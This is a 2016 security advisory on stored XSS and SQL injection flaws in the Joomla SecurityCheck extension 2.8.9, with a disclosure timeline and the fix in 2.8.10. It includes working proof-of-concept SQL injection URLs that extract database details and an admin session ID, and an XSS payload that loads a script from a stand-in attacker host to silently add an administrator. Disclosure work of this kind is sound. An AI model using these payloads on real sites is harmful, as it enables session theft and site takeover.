Joomla SecurityCheck 2.8.9 Cross Site Scripting / SQL Injection

`Information  
------------------------------  
Advisory by ADEO Security Team  
Name: Stored XSS and SQL Injection in Joomla SecurityCheck extension  
Affected Software : SecurityCheck and SecurityCheck Pro  
Vulnerable Versions: 2.8.9 (possibly below)  
Vendor Homepage : https://securitycheck.protegetuordenador.com  
Vulnerabilities Type : XSS and SQL Injection  
Severity : High  
Status : Fixed  
  
Technical Details  
------------------------------  
PoC URLs for SQL Injection  
  
For determining database, user and version.  
  
http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(database())))))='1  
http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(user())))))='1  
http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(version())))))='1  
  
For steal admin's session ID (If admin is not online, page response with  
attack detected string. If online, response with admin's session ID)  
  
http://website/index.php?option='or(ExtractValue(rand(),concat(0x3a,(SELECT  
concat(session_id) FROM %23__user_usergroup_map INNER JOIN %23__users ON  
%23__user_usergroup_map.user_id=%23__users.id INNER JOIN %23__session ON %  
23__users.id=%23__session.userid WHERE group_id=8 LIMIT 0,1))))='1  
  
PoC URLs for XSS  
  
Add a new admin to website silently while admin checking SecurityCheck logs  
  
http://website/index.php?option=<script>var script =  
document.createElement('script');script.src = "http://ATTACKER/attack.js  
";document.getElementsByTagName('head')[0].appendChild(script);</script>  
  
attack.js  
https://gist.github.com/MuhammetDilmac/c680cc921143543561bfdfd7b25da1ca  
  
  
Disclosure Timeline  
------------------------------  
24/05/2016 SQL injection found  
30/05/2016 Worked on one-shot exploit for SQLi  
30/05/2016 While we were working on SQLi payload we also found XSS  
31/05/2016 XSS payload prepared  
31/05/2016 Vulnerability details and PoC sent to Protegetuordenador  
31/05/2016 Vulnerabilities fixed in v2.8.10  
  
Solution  
------------------------------  
Update to the latest version of SecurityCheck (2.8.10)  
  
Credits  
------------------------------  
These issues have been discovered by Gokmen Guresci (gokmenguresci.com) and  
Muhammet Dilmac (muhammetdilmac.com.tr).  
`